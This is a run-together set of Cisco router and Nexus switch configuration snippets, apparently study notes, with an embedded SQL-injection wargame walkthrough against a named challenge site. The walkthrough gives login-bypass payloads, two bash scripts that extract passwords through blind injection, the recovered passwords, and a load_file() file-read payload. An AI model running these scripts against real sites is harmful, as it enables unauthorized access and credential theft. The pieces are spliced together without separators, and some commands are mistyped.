R2(config)#ip ssh port 2000 rotary 2R2(config)#line vty 0 1R2(config-line)#rotary 1R2(config)#line vty 2 3R2(config-line)#rotary 2R2(config-line)#transport input sshR2(config)#line vty 4 5R2(config-line)#no loginR2(config-line)#rotary 3R2(config-line)#autocommand ssh -l ruser 192.168.12.1R2#show control-plane host open-ports
R1#telnet 192.168.12.2 3001R1#ssh -l ruser -p 2002 192.168.12.2R1#telnet 192.168.12.2 3003
MC(config)#key chain key1MC(config-keychain)#key 1MC(config-keychain-key)#key-string ciscoMC(config)#oer masterMC(config-oer-mc)#loggingMC(config-oer-mc)#border 10.0.1.1 key-chain key1MC(config-oer-mc-br)#interface fa0/0 internalMC(config-oer-mc-br)#interface fa0/1 externalMC(config-oer-mc)#border 10.0.2.1 key-chain key1MC(config-oer-mc-br)#interface fa0/0 internalMC(config-oer-mc-br)#interface fa0/1 externalMC(config-oer-mc)#learnMC(config-oer-mc-learn)#throughputMC(config-oer-mc-learn)#monitor 1MC(config-oer-mc-learn)#periodic 0
MC(config)#ip prefix-list FILTERBRANCH1 seq 10 permit 10.1.1.0/24MC(config)#ip prefix-list FILTERBRANCH1 seq 20 permit 10.1.2.0/24MC(config)#ip prefix-list FILTERBRANCH2 seq 10 permit 10.2.1.0/24MC(config)#ip prefix-list FILTERBRANCH2 seq 20 permit 10.2.2.0/24MC(config)#ip access-list extended MYAPPMC(config-ext-nacl)#permit tcp any any eq 21MC(config)#oer-map MYMAP 10MC(config-oer-map)#match traffic-class application telnet prefix-list FILTERBRANCH1MC(config-oer-map)#set mode select-exit goodMC(config-oer-map)#set delay threshold 2000MC(config-oer-map)#set mode route controlMC(config-oer-map)#set mode monitor bothMC(config-oer-map)#no set resolve delayMC(config-oer-map)#set active-probe echo 10.1.1.10! IP SLA probe MC(config)#oer-map MYMAP 20MC(config-oer-map)#match traffic-class application http prefix-list FILTERBRANCH2MC(config-oer-map)#set mode select-exit goodMC(config-oer-map)#set delay threshold 2000MC(config-oer-map)#set mode route controlMC(config-oer-map)#set mode monitor bothMC(config-oer-map)#no set resolve delayMC(config)#oer-map MYMAP 30MC(config-oer-map)#traffic-class access-list MY_APP filter FILTERBRANCH2MC(config-oer-map)#set mode select-exit goodMC(config-oer-map)#set delay threshold 2000MC(config-oer-map)#set mode route controlMC(config-oer-map)#set mode monitor bothMC(config-oer-map)#no set resolve delayMC(config-oer-map)#set active-probe echo 10.1.3.10! IP SLA probe MC(config)#oer masterMC(config-oer-mc)#policy-rules MYMAPMC(config-oer-mc)#loggingMC(config-oer-mc)#border 10.1.0.1 key-chain key1MC(config-oer-mc-br)#interface fa0/0 internalMC(config-oer-mc-br)#interface fa0/1 externalMC(config-oer-mc)#border 10.2.0.1 key-chain key1MC(config-oer-mc-br)#interface fa0/0 internalMC(config-oer-mc-br)#interface fa0/1 external
mode route control command. MC coordinates information from BRs and changes the routing process.logging command to log PfR state changes.show oer master prefixshow oer border routes ?R1(config)#interface fa0/0R1(config-if)#ip address 192.168.12.1 255.255.255.0R1(config)#ip route 0.0.0.0 0.0.0.0 192.168.12.2
R2(config)#interface lo2R2(config-if)#ip address 2.2.2.2 255.255.255.255R2(config)#interface fa0/0R2(config-if)#ip address 192.168.23.2 255.255.255.0R2(config)#interface fa0/1R2(config-if)#ip address 192.168.24.2 255.255.255.0R2(config)#interface fa1/0R2(config-if)#ip address 192.168.12.2 255.255.255.0R2(config)#router bgp 10R2(config-router)#network 2.2.2.2 mask 255.255.255.255R2(config-router)#network 192.168.12.0R2(config-router)#network 192.168.23.0R2(config-router)#network 192.168.24.0R2(config-router)#neighbor 192.168.23.3 remote-as 10R2(config-router)#neighbor 192.168.24.4 remote-as 10
R3(config)#interface lo3R3(config-if)#ip address 3.3.3.3 255.255.255.255R3(config)#interface fa0/0R3(config-if)#ip address 192.168.23.3 255.255.255.0R3(config)#interface sel1/0R3(config-if)#ip address 192.168.35.3 255.255.255.0R3(config)#router bgp 10R3(config-router)#network 3.3.3.3 mask 255.255.255.255R3(config-router)#network 192.168.23.0R3(config-router)#network 192.168.35.0R3(config-router)#neighbor 192.168.23.2 remote-as 10R3(config-router)#neighbor 192.168.35.5 remote-as 20
R4(config)#interface lo4R4(config-if)#ip address 4.4.4.4 255.255.255.255R4(config)#interface fa0/0R4(config-if)#ip address 192.168.45.4 255.255.255.0R4(config)#interface fa0/1R4(config-if)#ip address 192.168.24.4 255.255.255.0R4(config)#router bgp 10R4(config-router)#network 4.4.4.4 mask 255.255.255.255R4(config-router)#network 192.168.24.0R4(config-router)#network 192.168.45.0R4(config-router)#neighbor 192.168.24.2 remote-as 10R4(config-router)#neighbor 192.168.45.5 remote-as 20
R5(config)#interface lo5R5(config-if)#ip address 5.5.5.5 255.255.255.255R5(config)#interface fa0/0R5(config-if)#ip address 192.168.45.5 255.255.255.0R5(config)#interface se1/0R5(config-if)#ip address 192.168.35.5 255.255.255.0R5(config)#router bgp 20R5(config-router)#network 5.5.5.5 mask 255.255.255.255R5(config-router)#network 192.168.35.0R5(config-router)#network 192.168.45.0R5(config-router)#neighbor 192.168.35.3 remote-as 10R5(config-router)#neighbor 192.168.45.4 remote-as 10
R3(config)#key chain MYKEYR3(config-keychain)#key 1R3(config-keychain-key)#key-string OERR3(config)#oer borderR3(config-oer-br)#loggingR3(config-oer-br)#local loopback 3R3(config-oer-br)#master 2.2.2.2 key-chain MYKEY
R4(config)#key chain MYKEYR4(config-keychain)#key 1R4(config-keychain-key)#key-string OERR4(config)#oer borderR4(config-oer-br)#loggingR4(config-oer-br)#local loopback 4R4(config-oer-br)#master 2.2.2.2 key-chain MYKEY
R2(config)#key chain MYKEYR2(config-keychain)#key 1R2(config-keychain-key)#key-string OERR2(config)#oer masterR2(config-oer-mc)#policy-rules CRITICAL-APPR2(config-oer-mc)#loggingR2(config-oer-mc)#border 3.3.3.3 key-chain MYKEYR2(config-oer-mc-br)#interface fa0/0 internalR2(config-oer-mc-br)#interface se1/0 externalR2(config-oer-mc)#border 4.4.4.4 key-chain MYKEYR2(config-oer-mc-br)#interface fa0/1 internalR2(config-oer-mc-br)#interface fa0/0 externalR2#show oer masterR2(config)#ip prefix-list CRITICAL seq 10 permit 5.5.5.5/32R2(config)#oer-map CRITICAL-APP 10R2(config-oer-map)#match traffic-class prefix-list CRITICALR2(config-oer-map)#set periodic 90! Try to find a better path every 90 seconds R2(config-oer-map)#set mode select-exit best! Try to find the best exit R2(config-oer-map)#set backoff 90 90! Time to wait for a OOPolicy prefix R2(config-oer-map)#set holddown 90R2(config-oer-map)#set delay threshold 50! Maximum delay time R2(config-oer-map)#set mode route control! Control mode R2(config-oer-map)#set mode monitor activeR2(config-oer-map)#set resolve delay priority 1 variance 1R2(config-oer-map)#set active-probe echo 5.5.5.5! From BRs R2#show oer master policyR2#show oer master prefixR2#show ip bgp 5.5.5.5/32! Look for localpref
R3# debug oer border active-probesR4# debug oer border active-probesR3(config)#int s1/0R3(config-if)#traffic-shape rate 8000 1000 0 0
' or 1=1 #level1' or '1'='1' or '1'='1' or 1=1) #level2' or '1'='1' or '1'='1admin') #level3# cat bypass-level4.sh
#!/bin/bash
url='http://flack.hkpco.kr/login/level4/index.php'
string='Mail server error'
pass=""
for length in `seq 1 50`; do
match=`curl -s -F "fuser=johnwayne' and length(pass)=$length #" $url | grep "$string"`
if [ "$match" != "" ]; then break; fi
done
echo "Password length = $length"
for i in `seq 1 $length`; do
for char in {{a..z},{0..9},{A..Z}}; do
match=`curl -s -F "fuser=johnwayne' and substring(pass,$i,1)='$char" $url | grep "$string"`
if [ "$match" != "" ]; then break; fi
done
pass="$pass$char"
echo "pass[$i]='$char'"
done
echo "pass='$pass'"johnwaynedrjgxpp' union select md5('level5') #level5http://flack.hkpco.kr/other/level1/members.php?uid=1 or id>1 order by namehttp://flack.hkpco.kr/other/level1/members.php?uid=4 order by passwordhttp://flack.hkpco.kr/other/level1/members.php?uid=4 order by passhttp://flack.hkpco.kr/other/level1/members.php?uid=4 and length(pass)=1# cat other-level1.sh
#!/bin/bash
url='http://flack.hkpco.kr/other/level1/members.php?uid=4'
string='jumper'
pass=""
for length in `seq 1 50`; do
match=`curl -s "$url and length(pass)=$length" | grep "$string"`
if [ "$match" != "" ]; then break; fi
done
echo "Password length = $length"
for i in `seq 1 $length`; do
for char in {{a..z},{0..9},{A..Z}}; do
decimal=`echo -n $char | od -An -d | tr -d ' '`
match=`curl -s "$url and substring(pass,$i,1)=char($decimal)" | grep "$string"`
if [ "$match" != "" ]; then break; fi
done
pass="$pass$char"
echo "pass[$i]='$char'"
done
echo "pass='$pass'"jumpermehijo123http://flack.hkpco.kr/style.css#echo -n /tmp/a000.temp | od -t x1 -An | sed 's/ /,0x/g'#echo -n /tmp/a000.temp | od -An -t u1 | sed 's/ / /g' | tr ' ' ','
select load_file(char(0x2f,0x74,0x6d,0x70,0x2f,0x61,0x30,0x30,0x30,0x2e,0x74,0x65,0x6d,0x70));select load_file(char(47,116,109,112,47,97,48,48,48,46,116,101,109,112));batmanskoda>batmobile
Router1(config)#interface s0/0Router1(config-if)#encapsulation frame-relayRouter1(config)#interface s0/0.1 multipointRouter1(config-if)#ip address 192.168.0.1 255.255.255.0Router1(config-if)#frame-relay interface-dlci 200Router1(config-if)#frame-relay interface-dlci 300Router1#show frame-relay map
Router2(config)#interface s0/0Router2(config-if)#encapsulation frame-relayRouter2(config)#interface Serial0/0.2 point-to-pointRouter2(config-if)#192.168.0.2 255.255.255.0Router2(config-if)#frame-relay interface-dlci 100
frame-relay map command to reach the not directly connected router.Router3(config)#interface s0/0Router3(config-if)#encapsulation frame-relayRouter3(config-if)#192.168.0.3 255.255.255.0Router3(config-if)#frame-relay interface-dlci 100Router3(config-if)#frame-relay map ip 192.168.0.2 100 broadcast
no frame-relay inverse-arp.set ip next-hop 10.1.1.1 10.1.1.2: Forwards to the first addres in the list for which the associated interface is up.set ip default next-hop 10.1.1.1 10.1.1.2: Same logic, except policy routing first attempts to route based on the routing table.set interface s0/0 s1/0: Forwards packets using the first interface in the list that is up.set default interface s0/0 s1/0: Same logic, except policy routing first attempts to route based on the routing table.set ip precedence number|name: Sets bits 7,6,5 of the ToSset ip tos number: Sets all 8 bits of the ToSRouter(config)#access-list 100 permit tcp any any eq 22Router(config)#route-map MYROUTEMAP permit 10Router(config-route-map)#match ip address 100Router(config-route-map)#set ip next-hop 10.1.1.1Router(config)#route-map MYROUTEMAP permit 20Router(config-route-map)#set ip next-hop 10.1.1.2
oer master command.oer border command.MC(config)#key-chain key1MC(config-keychain)#key1MC(config-keychain-key)#key-string pfrMC(config)#oer masterMC(config-oer-mc)#loggingMC(config-oer-mc)#mode route controlMC(config-oer-mc)#max prefix total 1000MC(config-oer-mc)#backoff 90 3000 300MC(config-oer-mc)#learnMC(config-oer-mc-learn)#delayMC(config-oer-mc-learn)#monitor period 5MC(config-oer-mc-learn)#periodic interval 15MC(config-oer-mc)#border 10.1.0.1 key-chain key1MC(config-oer-mc-br)#interface fa0/0 internalMC(config-oer-mc-br)#interface se0/0 externalMC(config-oer-mc-br-if)#max-xmit-utilization absolute 1500MC(config-oer-mc-br-if)#cost-minimization fixed fee 1000MC(config-oer-mc)#border 10.2.0.1 key-chain key1MC(config-oer-mc-br)#interface fa0/0 internalMC(config-oer-mc-br)#interface se0/0 externalMC(config-oer-mc-br-if)#max-xmit-utilization absolute 1000MC(config-oer-mc-br-if)#cost-minimization fixed fee 800
BR1(config)#key-chain key1BR1(config-keychain)#key1BR1(config-keychain-key)#key-string pfrBR1(config)#oer borderBR1(config-oer-br)#master 10.0.0.1 key-chain key1BR1(config-oer-br)#local fa0/0BR1(config-oer-br)#active-probe address source interface fa0/0
BR2(config)#key-chain key1BR2(config-keychain)#key1BR2(config-keychain-key)#key-string pfrBR2(config)#oer borderBR2(config-oer-br)#master 10.0.0.1 key-chain key1BR2(config-oer-br)#local fa0/0BR2(config-oer-br)#active-probe address source interface fa0/0
R1(config)#int tu0R1(config-if)#ip address 10.1.3.1 255.255.255.0R1(config-if)#tunnel source FastEthernet0/0R1(config-if)#tunnel destination 192.168.23.3R1(config-if)#tunnel mode greR1(config)#int fa0R1(config-if)#ip address 192.168.12.1 255.255.255.0R1(config)#ip route 0.0.0.0 0.0.0.0 192.168.12.2
R3(config)#int tu0R3(config-if)#ip address 10.1.3.3 255.255.255.0R3(config-if)#tunnel source FastEthernet0/0R3(config-if)#tunnel destination 192.168.12.1R3(config-if)#tunnel mode greR3(config)#int fa0R3(config-if)#ip address 192.168.23.3 255.255.255.0R3(config)#ip route 0.0.0.0 0.0.0.0 192.168.23.2
NX-7K-1#show inventory! display chassis components NX-7K-1#show redundancy status! determine active supervisor NX-7K-1#show module! display individual modules NX-7K-1#show environment! display clock, fan, temperature, power NX-7K-1(config)#power redundancy-mode ?
NX-7K-1# show system resourcesNX-7K-1# show run | ? ! last, tail, egrep, no-more, ...NX-7K-1#show running-config ?NX-7K-1#show running-config all! display configuration with defaults
NX-7K-1(config)# int e2/4, e3/1-2 ! no range commandNX-7K-1(config)#int e2/1, e2/3, e2/5, e2/7NX-7K-1(config-if)#shutdownNX-7K-1(config)#int e2/1NX-7K-1(config-if)#rate-mode dedicatedNX-7K-1(config-if)#no shutdown
NX-7K-1#show license host-idNX-7K-1#install license bootflash: NX7K-1234.licNX-7K-1#show license usage
NX-7K-1#reload module ?NX-7K-1#attach module ?
NX-7K-1(config)#vdc VDC2 id 2NX-7K-1(config-vdc)#allocate interface e3/1-24NX-7K-1(config)#vdc VDC3 id 3NX-7K-1(config-vdc)#allocate interface e3/25-48NX-7K-1#show vdcNX-7K-1#show vdc membershipNX-7K-1#show run vdcNX-7K-1#switchto vdc VDC2NX-7K-1-VDC2#switchbackNX-7K-1#
NX-7K-1(config)#feature vpcNX-7K-1(config)#vpc domain 10NX-7K-1(config-domain)#peer-switchNX-7K-1(config-domain)#peer-keepalive destination 10.10.10.2NX-7K-1#show vpc roleNX-7K-1#show vpc peer-keepaliveNX-7K-1(config)#interface port-channel 10NX-7K-1(config-if)#switchport mode trunkNX-7K-1(config-if)#switchport trunk allowed vlan 100-105! vPC VLANs NX-7K-1(config-if)#switchport trunk native 100NX-7K-1(config-if)#vpc peer-linkNX-7K-1#show vpc briefNX-7K-1(config)#interface ethernet 1/1-2NX-7K-1(config-if-range)#channel-group 11 mode activeNX-7K-1(config)#interface port-channel 11NX-7K-1(config-if)#switchport mode trunkNX-7K-1(config-if)#vpc 11NX-7K-2(config)#feature vpcNX-7K-2(config)#vpc domain 10NX-7K-2(config-domain)#peer-switchNX-7K-2(config-domain)#peer-keepalive destination 10.10.10.1NX-7K-2(config)#interface port-channel 10NX-7K-2(config-if)#switchport mode trunkNX-7K-2(config-if)#switchport trunk allowed vlan 100-105! vPC VLANs NX-7K-2(config-if)#switchport trunk native 100NX-7K-2(config-if)#vpc peer-linkNX-7K-2(config)#interface ethernet 2/7-8NX-7K-2(config-if-range)#channel-group 11 mode activeNX-7K-2(config)#interface port-channel 11NX-7K-2(config-if)#switchport mode trunkNX-7K-2(config-if)#vpc 11NX-7K-2#show vpc consistency-parameters global
NX-5K-1(config)#feature fexNX-5K-1(config)#fex 100NX-5K-1(config-fex)#pinning max-links 4NX-5K-1(config)#int ethernet 1/1-4NX-5K-1(config-if)#switchport mode fex-fabricNX-5K-1(config-if)#fex associate 100NX-5K-1#show fex 100NX-5K-1#show fex detailNX-5K-1#show module fex
NX-5K-1(config)#feature fexNX-5K-1(config)#fex 101NX-5K-1(config-fex)#pinning max-links 1NX-5K-1(config)#int ethernet 1/9-12NX-5K-1(config-if)#switchport mode fex-fabricNX-5K-1(config-if)#channel-group 11NX-5K-1(config)#int port-channel 11NX-5K-1(config-if)#fex associate 101NX-5K-1#show int port-channel 11 fex-intfNX-5K-1#show module fex
NX-5K-1(config)#feature fexNX-5K-1(config)#fex 102NX-5K-1(config-fex)#pinning max-links 1NX-5K-1(config)#int ethernet 1/17-20NX-5K-1(config-if)#switchport mode fex-fabricNX-5K-1(config-if)#channel-group 12NX-5K-1(config)#feature vpc! vPC domain configuration NX-5K-1(config)#int port-channel 12NX-5K-1(config-if)#vpc 12NX-5K-1(config-if)#fex associate 102NX-5K-1#show int port-channel 12 fex-intfNX-5K-1#show module fex
NX-7K-1#checkpoint CP1 description First checkpointNX-7K-1#show checkpoint summaryNX-7K-1#rollback running-config checkpoint CP1
NX-7K-1(config)#role name L3-adminNX-7K-1(config-role)#rule 1 permit read-write feature-group L3NX-7K-1(config-role)#vlan policy denyNX-7K-1(config-role-vlan)#permit vlan 1-100NX-7K-1(config-role)#vrf policy denyNX-7K-1(config-role-vlan)#permit vrf VRF1NX-7K-1(config-role-vlan)#permit vrf VRF2NX-7K-1#show role
NX-7K-1#ethanalyzer local interface inband brief limit-captured-frames 10NX-7K-1#ethanalyzer local interface inband limit-captured-frames 1
NX-7K-1#show ip int brief! default VRF NX-7K-1#show ip int brief vrf managementNX-7K-1#ping 10.1.1.1 vrf managementNX-7K-1#routing-context vrf managementNX-7K-1%management#ping 10.1.1.1NX-7K-1%management#routing-context vrf defaultNX-7K-1#
NX-7K-1#configure syncNX-7K-1(config-sync)#switch-profile PROFILE1NX-7K-2#configure syncNX-7K-2(config-sync)#switch-profile PROFILE1NX-7K-2(config-sync-sp)#import interface po10NX-7K-2(config-sync-sp-import)#verifyNX-7K-2(config-sync-sp-import)#show switch-profile PROFILE1 bufferNX-7K-2(config-sync-sp-import)#show switch-profile PROFILE1 statusNX-7K-2(config-sync-sp-import)#commitNX-7K-1(config-sync-sp)#sync-peers destination 10.0.0.2NX-7K-2(config-sync-sp)#sync-peers destination 10.0.0.1NX-7K-2(config-sync-sp)#int po10NX-7K-2(config-sync-sp-if)#spanning-gree port type edge trunkNX-7K-2(config-sync-sp)#verifyNX-7K-2(config-sync-sp)#commitNX-7K-2#show running-config switch-profile
NX-7K-2#show incompatibility system n7000.binNX-7K-2#install all kickstart n7000-kickstart.bin system n7000.binNX-7K-2#system switchoverNX-7K-1#show incompatibility system n7000.binNX-7K-1#install all kickstart n7000-kickstart.bin system n7000.binNX-7K-1#system switchover
ip helper-address) puts its own IP address in the gateway IP address (giaddr) field. Router(config)#service dhcpRouter(config)#ip dhcp excluded-address 10.1.1.1 10.1.1.20Router(config)#ip dhcp pool MYPOOLRouter(config-dhcp)#network 10.1.1.0 255.255.255.0Router(config-dhcp)#domain-name lab.netRouter(config-dhcp)#dns-server 10.1.2.200Router(config-dhcp)#default-router 10.1.1.1Router(config-dhcp)#lease 0 0 20 ! days hours minutes
Router(config)#track 15 interface serial0/0 line-protocolRouter(config)#interface fastethernet0/0Router(config-if)#standby 21 ip 10.1.1.21Router(config-if)#standby 21 priority 105Router(config-if)#standby 21 preemptRouter(config-if)#standby 21 track 15 decrement 6Router(config-if)#standby 22 ip 10.1.1.22Router(config-if)#standby 22 preemptRouter(config-if)#standby 22 track 15 decrement 12Router#show standby fa0/0
Router(config)#ntp authentication-key 1 md5 MYKEYRouter(config)#ntp authenticateRouter(config)#ntp trusted-key 1Router(config)#ntp master 7Router(config)#ntp server 10.1.1.1Router(config)#ntp peer 10.2.2.2Router(config)#int fa0/0Router(config-if)#ntp broadcastRouter(config)#int fa0/1Router(config-if)#ntp broadcast clientRouter#show ntp statusRouter#show ntp associations
Message Version Reply Sent by Purpose Get 1 Response Manager Request single MIB variable GetNext 1 Response Manager Request next single MIB variable GetBulk 2 Response Manager Request consecutive MIB variables Response 1 None Agent Reply with the information requested Set 1 Response Manager Set a particular variable Trap 1 None Agent Send unsolicited information Inform 2 Response Manager Message between Managers (MIB exchange)
logging buffered is disabled by default.logging host 10.1.1.1 sets the syslog server.logging trap debug limits the logging messages sent to the syslog server.Router(config)#ip wccp web-cache group-address 239.128.1.100 password MYPASSRouter(config)#interface fa0/0Router(config-if)#ip wccp web-cache redirect in! Enables redirection Router(config)#interface fa0/1Router(config-if)#ip wccp web-cache exclude in! Disables redirection Router(config)#access-list 1 permit 192.168.1.0 0.0.0.255Router(config)#ip wccp web-cache group-list 1! List of content engines Router(config)#access-list 2 permit 192.168.2.0 0.0.0.255Router(config)#ip wccp web-cache redirect-list 2! List of redirected hosts
Responder(config)#ip sla responderMonitor(config)#ip sla 1Monitor(config-ip-sla)#udp-echo 192.168.12.1 1330Monitor(config)#ip sla schedule 1 life forever start-time nowMonitor#show ip sla statistics 1
c6500(config)#interface fa0/0.10c6500(config-if)#ip flow ingress! Software-routed (MSFC) c6500(config)#interface fa0/1c6500(config-if)#ip route-cache flow! Software-routed (MSFC) c6500(config)#ip flow-export source lo0c6500(config)#ip flow-export destination 10.1.1.1 9996c6500(config)#ip flow-export version 5c6500(config)#mls netflow! Hardware-routed (PFC) c6500(config)#mls flow ip interface-fullc6500(config)#mls nde sender version 5! Netflow Data Export
Router(config)#ip traffic-export profile EXPORTRouter(conf-rite)#interface FastEthernet0/0Router(conf-rite)#bidirectionalRouter(conf-rite)#incoming sample one-in-every 5Router(conf-rite)#outgoing sample one-in-every 5Router(conf-rite)#mac-address aaa0.bbb.ccccRouter(config)#interface Serial0/0Router(config-if)#ip traffic-export apply EXPORT
Router(config)#event manager applet CLI-copy_run_startRouter(config-applet)#event cli pattern "wr" sync yesRouter(config-applet)#action 1 syslog msg "$_cli_msg Command Executed"Router(config-applet)#set 2 _exit_status 1Router(config-applet)#end
Router(config)#rmon event 1 log trap public description Fa0.0RisingErrors owner configRouter(config)#rmon event 2 log trap public description Fa0.0FallingErrors owner configRouter(config)#rmon event 3 log trap public description Se0.0RisingErrors owner configRouter(config)#rmon event 4 log trap public description Se0.0FallingErrors owner configRouter(config)#rmon alarm 20 ifInErrors.1 60 delta rising-threshold 10 1 falling-threshold 5 2 owner configRouter(config)#rmon alarm 30 ifInErrors.2 60 absolute rising-threshold 20 3 falling-threshold 10 4 owner configRouter#show rmon alarmRouter#show rmon event
Router(config)#ip ftp username JoeRouter(config)#ip ftp password ciscoRouter(config)#ip ftp passiveRouter(config)#exception protocol ftpRouter(config)#exception region-size 65536Router(config)#exception dump 172.30.1.1
Router(config)# tftp-server flash:c1700-advipservicesk9-mz.124-23.bin alias c1700.bin 10Router(config)#hostname SecureSecure(config)#ip domain-name lab.netSecure(config)#crypto key generate rsa general-keys modulus 1024Secure(config)#aaa authentication login default localSecure(config)#aaa authorization exec default localSecure(config)#username admin privilege 15 secret 0 MYSECRETSecure(config)#ip scp server enable
Router(config)#ip http serverRouter(config)#ip http port 8080Router(config)#ip http access-class 100Router(config)#ip http client username JoeRouter(config)#ip http client password ciscoRouter(config)#ip http authentication [aaa | local | enable | tacacs]Router(config)#ip http secure-serverRouter#show ip http server secure status
Router(config)#access-list 100 deny tcp any any eq 23Router(config)#access-list 100 permit tcp any any eq 3010Router(config)#access-list 100 deny ip any anyRouter(config)#line vty 0 4Router(config-line)#rotary 10 queued! Telnet port == 3000 + rotary group Router(config-line)#access-class 100 in
Secure(config)#access-list 100 deny tcp any any eq 22Secure(config)#access-list 100 permit tcp any any eq 2010Secure(config)#access-list 100 deny ip any anySecure(config)#line vty 0 4Secure(config-line)#rotary 10 queued! SSH port == 2000 + rotary group Secure(config-line)#access-class 100 inSecure(config-line)#transport input ssh
Router(config)#interface ethernet0/0Router(config-if)#ip nat insideRouter(config)#interface serial0/0Router(config-if)#ip nat outsideRouter(config)#ip nat inside source static 10.1.1.1 200.1.1.1
Router(config)#interface ethernet0/0Router(config-if)#ip nat insideRouter(config)#interface serial0/0Router(config-if)#ip nat outsideRouter(config)#access-list 1 permit 10.1.1.0 0.0.0.255Router(config)#ip nat pool NATPOOL 200.1.1.1 200.1.1.2 netmask 255.255.255.252Router(config)#ip nat inside source list 1 pool NATPOOL
Router(config)#ip nat inside destination list {access-list-number | name} pool nameRouter#show ip nat statisticsRouter#show ip nat translationsRouter#clear ip nat translation ?
Original IEEE Cost Revised IEEE Cost 10 Mbps 100 100 100 Mbps 10 19 1 Gbps 1 4 10 Gbps 1 2
Switch(config)#no spanning-tree vlan 10Switch(config-if)#spanning-tree vlan 11 cost 10Switch(config-if)#spanning-tree vlan 12 port-priority 120
Forwards data frames? Learns source MACs? Stable? Blocking No No Stable Listening No No Transitory Learning No Yes Transitory Forwarding Yes Yes Stable Disabled No No Stable
Switch(config)# spanning-tree mode pvstSwitch(config)# spanning-tree vlan 1 root {primary | secondary } [diameter]primary sets the priority to 24576 if the current root has a priority larger than 24576 else sets 4096 less than the current root priority.secondary sets the priority to 28672.diameter calculates new STP timers based on the max number of switches/hops (by default 7 switches) between two end stations.Switch(config-if)#spanning-tree portfastSwitch(config)#spanning-tree portfast defaultSwitch(config)#spanning-tree uplinkfast [max-update-rate rate]Switch(config)#spanning-tree backbonefast
Switch(config)# port-channel load-balance {src-mac | dst-mac | src-dst-mac \
| src-ip | dst-ip | src-dst-ip \
| src-port | dst-port | src-dst-port | mpls}Switch(config-if)# channel-protocol {lacp | pagp}PAgP LACP Action on on Disables PAgP and LACP. Forces the port into the PortChannel. off off Disables PAgP and LACP. Prevents the port from being part of a PortChannel. auto passive Uses PAgP or LACP. Waits on the other side messages. desirable active Uses PAgP or LACP. Initiates the negotiation.
spanning-tree link-type point-to-pointspanning-tree portfastSwitch(config)# spanning-tree mode rapid-pvstSwitch(config)# spanning-tree mode mstSwitch#show interfaceSwitch#show controllers
Switch#show spanning-tree rootSwitch#show interfaces status err-disabledSwitch#show spanning-tree inconsistentports
Switch#show interfaces switchportSwitch#show spanning-tree inconsistentportsSwitch#show interfaces trunk
Switch# show vtp statusSwitch#show etherchannel summarySwitch#show interface etherchannelSwitch#show interface port-channel 1